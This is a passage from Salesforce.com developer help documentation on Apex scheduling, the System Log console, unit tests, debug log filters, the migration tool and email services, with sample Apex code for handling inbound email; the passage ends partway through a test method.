using the Salesforce.com user interface.
The scheduler runs as system: all classes are executed, whether the user has permission to execute the class or not. For more
information about class permissions, see Setting Apex Class Security on page 1547.
Important: Salesforce.com only adds the process to the queue at the scheduled time. Actual execution may be delayed
based on service availability.

1552
Develop Using the System Log Console

To schedule jobs using the Apex scheduler:

1. Implement the Schedulable interface in an Apex class that instantiates the class you want to run.
2. Click Setup ➤ Develop ➤ Apex Classes and click Schedule Apex.
3. Specify the name of a class that you want to schedule.
4. Specify how often the Apex class is to run.

• For Weekly—specify one or more days of the week the job is to run (such as Monday and Wednesday).
• For Monthly—specify either the date the job is to run or the day (such as the second Saturday of every month.)

5. Specify the start and end dates for the Apex scheduled class. If you specify a single day, the job only runs once.
6. Specify a preferred start time. The exact time the job starts depends on what other jobs are in the queue at that time.
7. Click Save.
Note: You can only have ten active or scheduled jobs concurrently.

After you schedule an Apex job, you can monitor the progress of the job on the All Scheduled Jobs page.
Once the job has completed, you can see specifics about the job (such as whether it passed or failed, how long it took to process,
the number of records process, and so on) on the Apex Jobs page.

See Also:
Force.com Apex Code Overview
Defining Apex Classes
Apex Job Queue
Developer's Guide: Force.com Apex Code Developer's Guide

Using the System Log Console


Available in: Unlimited, Developer, and Enterprise Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To use the System Log console: “View All Data”
To use the text entry box: “Author Apex”

The System Log console is a separate window that can be used for debugging code snippets or tracking code execution during
a transaction. Access the System Log console from the Salesforce.com user interface by clicking System Log in the upper
right of any page. From the System Log console , you can:

• Click Show Filter Settings to specify which events you want recorded in future logs.
• Enter a snippet of Apex code you want to test and click Execute.

1553
Develop Running Apex Unit Tests

• If you have existing logs, select a log to view the details of it, or click Clear Log List to remove all existing debug logs from
the display window. Logs are only maintained for 60 minutes.

For more information on the debug log, see What is a Debug Log? on page 1556.
Any Apex code that you enter into the text entry box runs as if you had executed it using ExecuteAnonymous.
You cannot use the keyword static in code that you enter directly into the System Log console. In addition, although you
can have DML statements (such as insert or delete), those actions are not actually performed.
Caution: If you are exercising methods defined as testMethod by calling the class that contains them using the
System Log console, all DML statements actually are executed. This may add unwanted data to your organization.

For more information on the syntax and use of Apex, see the Force.com Apex Code Developer's Guide.

See Also:
What is a Debug Log?
Setting Debug Log Filters
Viewing Debug Logs
Monitoring Debug Logs
Running Apex Unit Tests
Force.com Apex Code Overview
Developer's Guide: Force.com Apex Code Developer's Guide

Running Apex Unit Tests


Available in: Unlimited, Developer, and Enterprise Editions

User Permissions Needed


To define, edit, delete, set security, set version settings, show “Author Apex”
dependencies, and run tests for Apex classes:

You can run the unit tests for your Apex scripts using the Salesforce.com user interface. You can run unit tests for a specific
class or you can run all the unit tests in your organization. Unit test methods take no arguments, commit no data to the
database, send no emails, and are flagged with the testMethod keyword in the method definition.
To run the unit tests for a specific class, click Setup ➤ Develop ➤ Apex Classes, click the name of the class, then click Run
Test. If your class calls another class or causes a trigger to execute, those Apex scripts are included in the total amount used
for calculating the percentage of code covered.
To run all the unit tests in your organization, click Setup ➤ Develop ➤ Apex Classes, then click Run All Tests.
The result page for running unit tests contains the following sections. Each section can be expanded or collapsed.

• A summary section that details the number of tests run, the number of failures, and the percentage of Apex scripts that
are covered by unit tests.

1554
Develop Running Apex Unit Tests

Important:

- You must have at least 75% of your Apex scripts covered by unit tests to deploy your scripts to production
environments. In addition, all triggers should have some test coverage.
- Salesforce.com recommends that you have 100% of your scripts covered by unit tests, where possible.
- Calls to System.debug are not counted as part of Apex code coverage in unit tests.

• Test failures, if any.


• A code coverage section
This section lists all the classes and triggers in your organization and the percentage of lines of code in each class and trigger
that are covered by tests. If you click on the coverage percent number, a page displays, highlighting all the lines of code
for that class or trigger that are covered by tests in blue, as well as highlighting all the lines of code that are not covered by
tests in red. It also lists how many times a particular line in the class or trigger was executed by the test.
• Test coverage warnings, if any.
• Debug log.
The debug log is automatically set to specific log levels and categories, which can't be changed.

Category Level
Database INFO
Apex Code FINE
Apex Profiling INFO
Workflow INFO
Validation INFO

For more information on the debug log, see Debug Log Details on page 710.

See Also:
Force.com Apex Code Overview
What is a Debug Log?
Setting Debug Log Filters
Viewing Debug Logs
Monitoring Debug Logs
Defining Apex Classes
Developer's Guide: Force.com Apex Code Developer's Guide

1555
Develop What is a Debug Log?

What is a Debug Log?


Available in: Unlimited, Developer, and Enterprise Editions
Available for an additional cost in: Professional Edition

A debug log records database operations, system processes, and errors that occur when executing a transaction or while running
unit tests. The system generates a debug log for a user every time that user executes a transaction that is included in the filter
criteria.
Transactions can be generated from the following:

• Salesforce.com user interface


• API
• executeanonymous calls
• Web services
• Email services

The filter criteria set for the user, the System Log or the API header determines what is included in the debug log. Debug
logs can contain information about:

• Database changes
• HTTP callouts
• Apex errors
• Resources used by Apex
• Automated workflow processes, such as:

- Workflow rules
- Assignment rules
- Approval processes
- Validation rules

The following are examples of when you use a debug log:

• You're a developer creating a custom application and use the debug log to validate some of the application's behavior, such
as if the application made callouts to an external system. You could set the debug log filter to check for callouts, then in
the debug log, view information about the success and duration of those callouts.

1556
Develop Setting Debug Log Filters

• You're an administrator for an organization, and a user reports having difficulties. You could start to monitor the debug
logs for that user, have them step through the transaction, and then use the debug log to view the system details of the
transaction.

See Also:
Viewing Debug Logs
Setting Debug Log Filters
Monitoring Debug Logs
Retaining Debug Logs
Running Apex Unit Tests
Force.com Apex Code Overview
Developer's Guide: Force.com Apex Code Developer's Guide

Setting Debug Log Filters


Available in: Unlimited, Developer, and Enterprise Editions

User Permissions Needed


To use the System Log console: “View All Data”
To use the text entry box: “Author Apex”

When using the System Log console or monitoring a debug log, you can specify the level of information that gets included
in the log.
Log category
The type of information logged, such as information from Apex or workflow rules.

Log level
The amount of information logged.

Event type
The combination of log category and log level that specify which events get logged. Each event may log additional
information, such as the line and character number where the event started, fields associated with the event, duration of
the event in milliseconds, and so on.

Debug Log Categories


You can specify the following log categories. The amount of information logged for each category depends on the log level:

Log Category Description


Database Includes information about database activity, including every data manipulation
language (DML) statement or inline SOQL or SOSL query.

1557
Develop Setting Debug Log Filters

Log Category Description


Workflow Includes information for workflow rules, such as the rule name, the actions taken, and
so on.
Validation Includes information about validation rules, such as the name of the rule, whether the
rule evaluated true or false, and so on.
Callout Includes the request-response XML that the server is sending and receiving from an
external Web service. This is useful when debugging issues related to using Force.com
Web services API calls.
Apex Code Includes information about Apex scripts and can include information such as log
messages generated by calls to the System.debug method, DML statements, inline
SOQL or SOSL queries, the start and completion of any triggers, and the start and
completion of any test method, and so on.
Apex Profiling Includes cumulative profiling information, such as the limits for your namespace, the
number of emails sent, and so on.

Debug Log Levels


You can specify the following log levels. The levels are listed from lowest to highest. Specific events are logged based on the
combination of category and levels. Most events start being logged at the INFO level. The level is cumulative, that is, if you
select FINE, the log will also include all events logged at DEBUG, INFO, WARN and ERROR levels.
Note: Not all levels are available for all categories: only the levels that correspond to one or more events.

• ERROR
• WARN
• INFO
• DEBUG
• FINE
• FINER
• FINEST

Debug Event Types


The following is an example of what is written to the debug log. The event is USER_DEBUG. The format is timestamp |
event identifier:

Figure 16: Debug Log Line Example

The event identifier is composed of the specific event that triggered the debug log being written to, such as SAVEPOINT_RESET
or VALIDATION_RULE, and any additional information logged with that event, such as the method name or the line and
character number where the code was executed.
In this example, the event identifier is made up of the following:

1558
Develop Setting Debug Log Filters

• Event name:

USER_DEBUG

• Line and character number of the event in the code:

[1,1]

• Logging level the System.Debug method was set to:

DEBUG

• User-supplied string for the System.Debug method:

Hello world!

The following example of a log line is triggered by this code snippet.

Figure 17: Debug Log Line Code Snippet

The following log line is recorded when the test reaches line 5 in the code:

15:51:01.071|DML_BEGIN|[5,1]|Op:Insert|Type:Invoice_Statement__c|Rows:1

In this example, the event identifier is made up of the following:


• Event name:

DML_BEGIN

• Line and character number of the event in the code:

[5,1]

• DML operation type—Insert:

Op:Insert

• Object name:

Type:Invoice_Statement__c

• Number of rows passed into the DML operation:

Rows:1

1559
Develop Setting Debug Log Filters

The following table lists the event types that are logged, what fields or other information get logged with each event, as well
as what combination of log level and category cause an event to be logged.

Event Name Fields or Information Logged With Category Logged Level Logged
Event
CALLOUT_REQUEST Line and character number of the event Callout INFO and above
in the code, request headers
CALLOUT_RESPONSE Line and character number of the event Callout INFO and above
in the code, response body
CODE_UNIT_FINISHED None Apex Code INFO and above
CODE_UNIT_STARTED Line and character number of the event Apex Code INFO and above
in the code, code unit name, such as
MyTrigger on Account trigger
event BeforeInsert for null

CUMULATIVE_LIMIT_USAGE None Apex Profiling INFO and above


CUMULATIVE_LIMIT_USAGE_END None Apex Profiling INFO and above
CUMULATIVE_PROFILING None Apex Profiling FINE and above
CUMULATIVE_PROFILING_BEGIN None Apex Profiling FINE and above
CUMULATIVE_PROFILING_END None Apex Profiling FINE and above
DML_BEGIN Line and character number of the event Apex Code INFO and above
in the code, operation (such as Insert,
Update, and so on), record name or
type, number of rows passed into DML
operation
DML_END Line and character number of the event Apex Code INFO and above
in the code
EMAIL_QUEUE Line and character number of the event Apex Code INFO and above
in the code
ENTERING_MANAGED_PKG Package namespace Apex Code INFO and above
EXCEPTION_THROWN Line and character number of the event Apex Code INFO and above
in the code, exception type, message
EXECUTION_FINISHED None Apex Code INFO and above
EXECUTION_STARTED None Apex Code INFO and above
FATAL_ERROR Exception type, message, stack trace Apex Code ERROR and above
HEAP_ALLOCATE Line and character number of the event Apex Code FINEST
in the code, number of bytes
IDEAS_QUERY_EXECUTE Line and character number of the event Apex Code FINEST
in the code
LIMIT_USAGE_FOR_NS Namespace, following limits: Apex Profiling INFO and above
Number of SOQL queries
Number of query rows
Number of SOSL queries

1560
Develop Setting Debug Log Filters

Event Name Fields or Information Logged With Category Logged Level Logged
Event
Number of DML statements
Number of DML rows
Number of script statements
Maximum heap size
Number of callouts
Number of Email Invocations
Number of fields describes
Number of record type
describes
Number of child
relationships
describes
Number of picklist describes
Number of future calls
Number of find similar calls
Number of System.runAs()
invocations

METHOD_ENTRY Line and character number of the event Apex Code FINEST
in the code, method signature
METHOD_EXIT Line and character number of the event Apex Code FINEST
in the code, method signature
QUERY_MORE_ITERATIONS Line and character number of the event DB INFO and above
in the code, number of queryMore
iterations
SAVEPOINT_ROLLBACK Line and character number of the event DB INFO and above
in the code, Savepoint name
SAVEPOINT_SET Line and character number of the event DB INFO and above
in the code, Savepoint name
SLA_END Number of cases, load time, processing Workflow INFO and above
time, number of case milestones to
insert/update/delete, new trigger
SLA_EVAL_MILESTONE Milestone ID Workflow INFO and above
SLA_NULL_START_DATE None Workflow INFO and above
SLA_PROCESS_CASE Case ID Workflow INFO and above
SOQL_EXECUTE_BEGIN Line and character number of the event DB INFO and above
in the code, number of aggregations,
query source
SOQL_EXECUTE_END Line and character number of the event DB INFO and above
in the code, number of rows, duration
in milliseconds
SOSL_EXECUTE_BEGIN Line and character number of the event DB INFO and above
in the code, query source
SOSL_EXECUTE_END Line and character number of the event DB INFO and above
in the code, number of rows, duration
in milliseconds

1561
Develop Setting Debug Log Filters

Event Name Fields or Information Logged With Category Logged Level Logged
Event
STACK_FRAME_VARIABLE_LIST Frame number, variable list of the form: Apex Profiling FINE and above
Variable number | Value. For
example:

var1:50
var2:'Hello World'

STATEMENT_EXECUTE Line and character number of the event Apex Code FINEST
in the code
STATIC_VARIABLE_LIST Variable list of the form: Variable Apex Profiling FINE and above
number | Value. For example:

var1:50
var2:'Hello World'

SYSTEM_MODE_ENTER Mode name Apex Code FINEST


SYSTEM_MODE_EXIT Mode name Apex Code FINEST
TESTING_LIMITS None Apex Profiling INFO and above
TOTAL_EMAIL_RECIPIENTS_QUEUED Number of emails sent Apex Profiling FINE and above
USER_DEBUG Line and character number of the event Apex Code
DEBUG and above by
in the code, logging level, user-supplied
default
string
Note: If the user
sets the log level
for the
System.Debug
method, the
event is logged at
that level instead.

VALIDATION_ERROR Error message Validation INFO and above


VALIDATION_FAIL None Validation INFO and above
VALIDATION_FORMULA Formula source, values Validation INFO and above
VALIDATION_PASS None Validation INFO and above
VALIDATION_RULE Rule name Validation INFO and above
VF_APEX_CALL Element name, method name, return Apex Code INFO and above
type
VF_PAGE_MESSAGE Message text Apex Code INFO and above
WF_ACTION Action description Workflow INFO and above
WF_ACTION_TASK Task subject, action ID, rule, owner, due Workflow INFO and above
date

1562
Develop Setting Debug Log Filters

Event Name Fields or Information Logged With Category Logged Level Logged
Event
WF_ACTIONS_END Summer of actions performed Workflow INFO and above
WF_APPROVAL Transition type, EntityName: Workflow INFO and above
NameField Id, process node name

WF_APPROVAL_REMOVE EntityName: NameField Id Workflow INFO and above


WF_APPROVAL_SUBMIT EntityName: NameField Id Workflow INFO and above
WF_ASSIGN Owner, assignee template ID Workflow INFO and above
WF_CRITERIA_BEGIN EntityName: NameField Id, rule Workflow INFO and above
name, rule ID, trigger type (if rule
respects trigger types)
WF_CRITERIA_END Boolean value indicating success (true or Workflow INFO and above
false)
WF_EMAIL_ALERT Action ID, rule Workflow INFO and above
WF_EMAIL_SENT Email template ID, recipients, CC Workflow INFO and above
emails
WF_ENQUEUE_ACTIONS Summary of actions enqueued Workflow INFO and above
WF_ESCALATION_ACTION Case ID, business hours Workflow INFO and above
WF_ESCALATION_RULE None Workflow INFO and above
WF_EVAL_ENTRY_CRITERIA Process name, email template ID, Workflow INFO and above
Boolean value indicating result (true or
false)
WF_FIELD_UPDATE EntityName: NameField Id, object Workflow INFO and above
or field name
WF_FORMULA Formula source, values Workflow INFO and above
WF_HARD_REJECT None Workflow INFO and above
WF_NEXT_APPROVER Owner, next owner type, field Workflow INFO and above
WF_NO_PROCESS_FOUND None Workflow INFO and above
WF_OUTBOUND_MSG EntityName: NameField Id, action Workflow INFO and above
ID, rule
WF_PROCESS_NODE Process name Workflow INFO and above
WF_REASSIGN_RECORD EntityName: NameField Id, owner Workflow INFO and above
WF_RESPONSE_NOTIFY Notifier name, notifier email, notifier Workflow INFO and above
template ID
WF_RULE_ENTRY_ORDER Integer, indicating order Workflow INFO and above
WF_RULE_EVAL_BEGIN Rule type Workflow INFO and above
WF_RULE_EVAL_END None Workflow INFO and above
WF_RULE_EVAL_VALUE Value Workflow INFO and above

1563
Develop Using the Apex Tools

Event Name Fields or Information Logged With Category Logged Level Logged
Event
WF_RULE_FILTER Filter criteria Workflow INFO and above
WF_RULE_INVOCATION EntityName: NameField Id Workflow INFO and above
WF_RULE_NOT_EVALUATED None Workflow INFO and above
WF_SOFT_REJECT Process name Workflow INFO and above
WF_SPOOL_ACTION_BEGIN Node type Workflow INFO and above
WF_TIME_TRIGGER EntityName: NameField Id, time Workflow INFO and above
action, time action container, evaluation
Datetime
WF_TIME_TRIGGERS_BEGIN None Workflow INFO and above

See Also:
What is a Debug Log?
Monitoring Debug Logs
Viewing Debug Logs
Running Apex Unit Tests
Developer's Guide: Force.com Apex Code Developer's Guide

Using the Apex Tools


Available in: Unlimited, Developer, and Enterprise Editions

User Permissions Needed


To use the Apex Deployment Tool: “Author Apex”

Download the Force.com Migration Tool if you want to use a script for deploying Apex from a Developer Edition or sandbox
organization to a Salesforce.com production organization using Apache's Ant build tool.
To download the Force.com Migration Tool:

1. Click Setup ➤ Develop ➤ Tools.


2. Click Force.com Migration Tool.
3. Save the salesforce_ant.zip file and unzip its contents to the location of your choice.

The salesforce_ant.zip file contains the files you need to run an ant task that exercises the compileAndTest API call,
including:

• A Readme.html file that explains how to use the tools


• A Jar file containing the ant task: ant-salesforce.jar

1564
Develop What are Email Services?

• A sample folder containing:

- A codepkg\classes folder that contains SampleDeployClass.cls and SampleFailingTestClass.cls


- A codepkg\triggers folder that contains SampleAccountTrigger.trigger
- A mypkg\objects folder that contains the custom objects used in the examples
- A removecodepkg folder that contains XML files for removing the examples from your organization
- A sample build.properties file that you must edit, specifying your credentials, in order to run the sample ant tasks
in build.xml
- A sample build.xml file, that exercises the deploy and retrieve API calls

For more information on the syntax and use of Apex, see the Force.com Apex Code Developer's Guide.
You can also download the Force.com IDE to help you write Apex in projects that mirror your organization. Using this tool,
you can also compile and test the code you write, synchronize changes between the organization and project, and deploy your
code to another organization.
Note: The Force.com IDE and Force.com Migration Tool are free resources provided by salesforce.com to support
its users and partners, but is not considered part of our Services for purposes of the salesforce.com Master Subscription
Agreement.

See Also:
Force.com Apex Code Overview
Developer's Guide: Force.com Apex Code Developer's Guide

What are Email Services?


Available in: Enterprise, Unlimited and Developer Editions
Use of email services in installed AppExchange packages also available in: Group and Professional Editions

User Permissions Needed


To configure Apex email services and email service addresses: “Modify All Data”
To create Apex classes: “Author Apex”

Email services are automated processes that use Apex classes to process the contents, headers, and attachments of inbound
email. For example, you can create an email service that automatically creates contact records based on contact information
in messages.
You can associate each email service with one or more Salesforce.com-generated email addresses to which users can send
messages for processing. To allow multiple users to use a single email service, you can:

• Associate multiple Salesforce.com-generated email addresses with the email service, and allocate those addresses to users.

1565
Develop What are Email Services?

• Associate a single Salesforce.com-generated email address with the email service, and write an Apex class that executes
according to the user accessing the email service. For example, you can write an Apex class that identifies the user based
on the user's email address, and creates records on behalf of that user.

To use email services, click Setup ➤ Develop ➤ Email Services.

• Click New Email Service to define a new email service.


• Select an existing email service to view its configuration, activate or deactivate it, and view or specify addresses for that
email service.
• Click Edit to make changes to an existing email service.
• Click Delete to delete an email service.
Note: Before deleting email services, you must delete all associated email service addresses.

When defining email services, note the following:

• An email service only processes messages it receives at one of its addresses.


• Salesforce.com limits the total number of messages that all email services combined, including On-Demand Email-to-Case,
can process daily. Messages that exceed this limit are bounced, discarded, or queued for processing the next day, depending
on how you configure the failure response settings for each email service. Salesforce.com calculates the limit by multiplying
the number of user licenses by 1,000. For example, if you have ten licences, your organization can process up to 10,000
email messages a day.
• Email service addresses that you create in your sandbox cannot be copied to your production organization.
• For each email service, you can tell Salesforce.com to send error email messages to a specified address instead of the sender's
email address.
• Email services rejects email messages and notifies the sender if the email (combined body text, body HTML and attachments)
exceeds approximately 10MB (varies depending on language and character set).

See Also:
Force.com Apex Code Overview
Using the InboundEmail Object
Defining Email Services
Defining Email Service Addresses
Developer's Guide: Force.com Apex Code Developer's Guide

1566
Develop Defining Email Services

Defining Email Services


Available in: Enterprise, Unlimited and Developer Editions
Use of email services in installed AppExchange packages also available in: Group and Professional Editions

User Permissions Needed


To configure Apex email services and email service addresses: “Modify All Data”
To create Apex classes: “Author Apex”

To define an email service:

1. Click Setup ➤ Develop ➤ Email Services.


2. Click New Email Service, or click Edit to change an existing email service.
3. Specify the name of the email service.
4. Choose the Apex class you want this email service to use to process messages. The Apex class you choose must implement
the Messaging.InboundEmailHandler interface. For example:

global class myHandler implements Messaging.InboundEmailHandler {


global Messaging.InboundEmailResult handleInboundEmail(Messaging.InboundEmail
email, Messaging.InboundEnvelope envelope) {
Messaging.InboundEmailResult result = new Messaging.InboundEmailresult();

return result;
}
}

For information on the InboundEmail object, see Using the InboundEmail Object on page 1571.
5. Choose the types of attachments you want the email service to accept. The options are:
None
The email service accepts the message but discards any attachment.

Text Attachments Only


The email service only accepts the following types of attachments:

• Attachments with a Multipurpose Internet Mail Extension (MIME) type of text.


• Attachments with a MIME type of application/octet-stream and a file name that ends with either a
.vcf or .vcs extension. These are saved as text/x-vcard and text/calendar MIME types, respectively.

Messages with attachments other than these types are accepted, but the attachments are discarded.

Binary Attachments Only


The email service only accepts binary attachments, such as image, audio, application, and video files. Binary attachments
have a limit of 5 MB per attachment.
Messages with attachments that are not binary are accepted, but the attachments are discarded.

1567
Develop Defining Email Services

All
The email service accepts any type of attachment.

Note: An email service can only process attachments if you configure the email service to accept attachments and
use an Apex class that processes the types of attachments the email service accepts.
Also, note that email services cannot accept inline attachments, such as graphics inserted in email messages.

6. Optionally, select the Advanced Email Security Settings checkbox to configure the email service to verify the
legitimacy of the sending server before processing a message. The email service uses the following authentication protocols
to verify the sender's legitimacy:

• SPF
• SenderId
• DomainKeys

If the sending server passes at least one of these protocols and does not fail any, the email service accepts the email. If the
server fails a protocol or does not support any of the protocols, the email service performs the action specified in the
Unauthenticated Sender Action failure response setting.

Tip: Before selecting the Authenticate Senders checkbox, ensure that the senders that you expect to use the
email service support at least one of the authentication protocols listed above. For information on these authentication
protocols, see the following websites:

• www.openspf.org
• www.microsoft.com/mscorp/safety/technologies/senderid/default.mspx

7. Email services rejects email messages and notifies the sender if the email (combined body text, body HTML and attachments)
exceeds approximately 10MB (varies depending on language and character set). You can truncate email body text, body
HTML, and text attachments to 100KB.
8. You can convert text attachments to binary attachments.
9. Optionally, configure this email service only to accept messages from certain senders by listing their email addresses and
domains in the Accept Email From text box. Separate multiple entries with commas. For example:
george@mycompany.com, yahoo.com, gmail.com. If the Accept Email From text box has a value and the email service
receives a message from an unlisted email address or domain, the email service performs the action specified in the
Unauthorized Sender Action failure response setting.

Leave this field blank if you want the email service to receive email from any email address.
Note: You can also authorize email addresses and domains at the email service address-level. See Defining Email
Service Addresses on page 1570.
If both the email service and email service address are configured to only accept messages from certain senders, the
email service only processes messages from senders that are listed in the Accept Email From text boxes on both
the email service and the email service address.

10. Select the Active checkbox if you want the email service to be activated when you click Save.
11. Configure the failure response settings, which determine how the email service responds if an attempt to access this email
service fails for the following reasons:

1568
Develop Defining Email Services

Over Email Rate Limit Action


Determines what the email service does with messages if the total number of messages processed by all email services
combined has reached the daily limit for your organization. Salesforce.com calculates the limit by multiplying the
number of user licenses by 1,000. For example, if you have ten licences, your organization can process up to 10,000
email messages a day.

Deactivated Email Address Action


Determines what the email service does with messages received at an email address that is inactive.

Deactivated Email Service Action


Determines what the email service does with messages it receives when the email service itself is inactive.

Unauthenticated Sender Action


Determines what the email service does with messages that fail or do not support any of the authentication protocols
if the Authenticate Senders checkbox is selected.

Unauthorized Sender Action


Determines what the email service does with messages received from senders who are not listed in the Accept From
Email text box on either the email service or email service address.
The failure response options are:
Bounce Message
The email service returns the message to the sender or to the Automated Case User for On-Demand
Email-to-Case, with a notification that explains why the message was rejected.

Discard Message
The email service deletes the message without notifying the sender.

Requeue Message (Over Email Rate Limit Action Only)


The email service queues the message for processing in the next 24 hours. If the message is not processed within 24
hours, the email service returns the message to the sender with a notification that explains why the message was
rejected.
12. To send error email messages to a specified address instead of the sender's email address, select Enable Error Routing
and specify the destination email address in Route Error Emails to This Email Address. This prevents the
sender being notified when email services cannot process an incoming email.
13. Click Save to save your changes, or Save and New Email Address to create email addresses for this email service, as
described in Defining Email Service Addresses on page 1570.

See Also:
Force.com Apex Code Overview
Using the InboundEmail Object
What are Email Services?
Defining Email Service Addresses
Enabling and Configuring On-Demand Email-to-Case
Developer's Guide: Force.com Apex Code Developer's Guide

1569
Develop Defining Email Service Addresses

Defining Email Service Addresses


Available in: Enterprise, Unlimited and Developer Editions
Use of email services in installed AppExchange packages also available in: Group and Professional Editions

User Permissions Needed


To configure Apex email services and email service addresses: “Modify All Data”
To create Apex classes: “Author Apex”

To define an email service address:

1. Click Setup ➤ Develop ➤ Email Services.


2. Choose the email service for which you want to define an address.
3. Click New Email Address, or click Edit to change the configuration for an existing email service address. To delete an
email service address, click View and Delete.
4. In the Email Address field, enter the local-part of the email service address. Salesforce.com generates a unique domain-part
for each email service address to ensure that no two email service addresses are identical. The generated domain-part
appears to the right of the Email Address field.
Tip: For the local-part of a Salesforce.com email address, all alphanumeric characters are valid, plus the following
special characters: !#$%&'*/=?^_+-`{|}~. For the domain-part of a Salesforce.com email address, only alphanumeric
characters are valid, as well as hyphen (-). The dot character (.) is also valid in both the local-part and domain-part
as long as it is not the first or last character.
Salesforce.com email addresses are case-insensitive.

5. Select the Active checkbox if you want the email service address to be activated when you click Save.
6. Choose the Context User. The email service assumes the permissions of the context user when processing the messages
this address receives. For example, if the email service is configured to modify contact records upon receiving updated
contact information, the email service only modifies a record if the context user has permission to edit the record.
Important: Choose a context user that has permission to execute the Apex class that the email service is configured
to use.

7. Optionally, configure this email service address to only accept messages from certain senders by listing their email addresses
and domains in the Accept Email From text box. Separate multiple entries with commas. For example:
george@mycompany.com, yahoo.com, gmail.com. If the Accept Email From text box has a value and the email service
receives a message from an unlisted email address or domain, the email service performs the action specified in the
Unauthorized Sender Action failure response setting.

Leave this field blank if you want the email service to receive email from any email address.

1570
Develop Using the InboundEmail Object

Note:
If both the email service and email service address are configured to only accept messages from certain senders, the
email service only processes messages from senders that are listed in the Accept Email From text boxes on both
the email service and the email service address.

8. Click Save to save your changes, or Save and New to define another inbound email address for this email service.

See Also:
Force.com Apex Code Overview
Using the InboundEmail Object
What are Email Services?
Defining Email Services
Developer's Guide: Force.com Apex Code Developer's Guide

Using the InboundEmail Object


Available in: Enterprise, Unlimited and Developer Editions

For every email the Apex email service domain receives, Salesforce.com creates a separate InboundEmail object that contains
the contents and attachments of that email. You can use Apex classes that implement the Messaging.InboundEmailHandler
interface to handle an inbound email message. Using the handleInboundEmail method in that class, you can access an
InboundEmail object to retrieve the contents, headers, and attachments of inbound email messages, as well as perform many
functions.
Note: For information on the Apex email service, see What are Email Services? on page 1565.

Example 1: Create Tasks for Contacts


The following is an example of how you can look up a contact based on the inbound email address and create a new task.

global class CreateTaskEmailExample implements Messaging.InboundEmailHandler {

global Messaging.InboundEmailResult handleInboundEmail(Messaging.inboundEmail email,


Messaging.InboundEnvelope env){

// Create an inboundEmailResult object for returning the result of the Apex Email Service

Messaging.InboundEmailResult result = new Messaging.InboundEmailResult();

String myPlainText= '';

// Add the email plain text into the local variable

myPlainText = email.plainTextBody;

// New Task object to be created

1571
Develop Using the InboundEmail Object

Task[] newTask = new Task[0];

// Try to lookup any contacts based on the email from address


// If there is more than 1 contact with the same email address,
// an exception will be thrown and the catch statement will be called.
try {
Contact vCon = [Select Id, Name, Email
From Contact
Where Email = :email.fromAddress
Limit 1];

// Add a new Task to the contact record we just found above.


newTask.add(new Task(Description = myPlainText,
Priority = 'Normal',
Status = 'Inbound Email',
Subject = email.subject,
IsReminderSet = true,
ReminderDateTime = System.now()+1,
WhoId = vCon.Id));

// Insert the new Task


insert newTask;

System.debug('New Task Object: ' + newTask );

}
// If an exception occurs when the query accesses
// the contact record, a QueryException is called.
// The exception is written to the Apex debug log.
catch (QueryException e) {
System.debug('Query Issue: ' + e);
}

// Set the result to true. No need to send an email back to the user
// with an error message

result.success = true;

// Return the result for the Apex Email Service


return result;

}
}

Example 2: Handle Unsubscribe Email


Companies that send marketing email to their customers and prospects need to provide a way to let the recipients unsubscribe.
The following is an example of how an email service can process unsubscribe requests. The code searches the subject line of
inbound email for the word “unsubscribe.” If the word is found, the code finds all contacts and leads that match the From
email address and sets the Email Opt Out field (HasOptedOutOfEmail) to True.

Global class unsubscribe implements Messaging.inboundEmailHandler{

Global Messaging.InboundEmailResult handleInboundEmail(Messaging.InboundEmail email,


Messaging.InboundEnvelope env ) {

// Create an inboundEmailResult object for returning


// the result of the email service.
Messaging.InboundEmailResult result = new Messaging.InboundEmailResult();

// Create contact and lead lists to hold all the updated records.
List<Contact> lc = new List <contact>();
List<Lead> ll = new List <lead>();

1572
Develop Using the InboundEmail Object

// Convert the subject line to lower case so the program can match on lower case.
String mySubject = email.subject.toLowerCase();
// The search string used in the subject line.
String s = 'unsubscribe';

// Check the variable to see if the word "unsubscribe" was found in the subject line.
Boolean unsubMe;
// Look for the word "unsubcribe" in the subject line.
// If it is found, return true; otherwise, return false.
unsubMe = mySubject.contains(s);

// If unsubscribe is found in the subject line, enter the IF statement.

if (unsubMe == true) {

try {

// Look up all contacts with a matching email address.

for (Contact c : [Select Id, Name, Email, HasOptedOutOfEmail


From Contact
Where Email = :env.fromAddress
And hasOptedOutOfEmail = false
Limit 100]) {

// Add all the matching contacts into the list.


c.hasOptedOutOfEmail = true;
lc.add(c);
}
// Update all of the contact records.
update lc;
}
catch (System.QueryException e) {
System.debug('Contact Query Issue: ' + e);
}

try {
// Look up all leads matching the email address.
for (Lead l : [Select Id, Name, Email, HasOptedOutOfEmail
From Lead
Where Email = :env.fromAddress
And isConverted = false
And hasOptedOutOfEmail = false
Limit 100]) {
// Add all the leads to the list.
l.hasOptedOutOfEmail = true;
ll.add(l);

System.debug('Lead Object: ' + l);


}
// Update all lead records in the query.
update ll;
}

catch (System.QueryException e) {
System.debug('Lead Query Issue: ' + e);
}

System.debug('Found the unsubscribe word in the subject line.');


}
else {
System.debug('No Unsuscribe word found in the subject line.' );
}
// Return True and exit.
// True confirms program is complete and no emails
// should be sent to the sender of the unsubscribe request.
result.success = true;

1573
Develop Using the InboundEmail Object

return result;
}

// The following test methods provide adequate code coverage.


// There are two methods, one that does the testing
// with a valid "unsubcribe" in the subject line
// and one the does not contain "unsubscribe" in the
// subject line.

static testMethod void testUnsubscribe() {

// Create a new email and envelope object.


Messaging.InboundEmail email = new Messaging.InboundEmail() ;
Messaging.InboundEnvelope env = new Messaging.InboundEnvelope();

// Create a new test lead and insert it in the test method.


Lead l = new lead(firstName='John',
lastName='Smith',
Company='Salesforce',
Email='user@acme.com',
HasOptedOutOfEmail=false);
insert l;

// Create a new test contact and insert it in the test method.


Contact c = new Contact(firstName='john',
lastName='smith',
Email='user@acme.com',
HasOptedOutOfEmail=false);
insert c;

// Test with the subject that matches the unsubscribe statement.


email.subject = 'test unsubscribe test';
env.fromAddress = 'user@acme.com';

// Call the class and test it with the data in the testMethod.
unsubscribe unsubscribeObj = new unsubscribe();
unsubscribeObj.handleInboundEmail(email, env );

static testMethod void testUnsubscribe2() {

// Create a new email and envelope object.


Messaging.InboundEmail email = new Messaging.InboundEmail();
Messaging.InboundEnvelope env = new Messaging.InboundEnvelope();

// Create a new test lead and insert it in the test method.


Lead l = new lead(firstName='john',
lastName='smith',
Company='Salesforce',
Email='user@acme.com',
HasOptedOutOfEmail=false);
insert l;

// Create a new test contact and insert it in the test method.


Contact c = new Contact(firstName='john',
lastName='smith',
Email='user@acme.com',
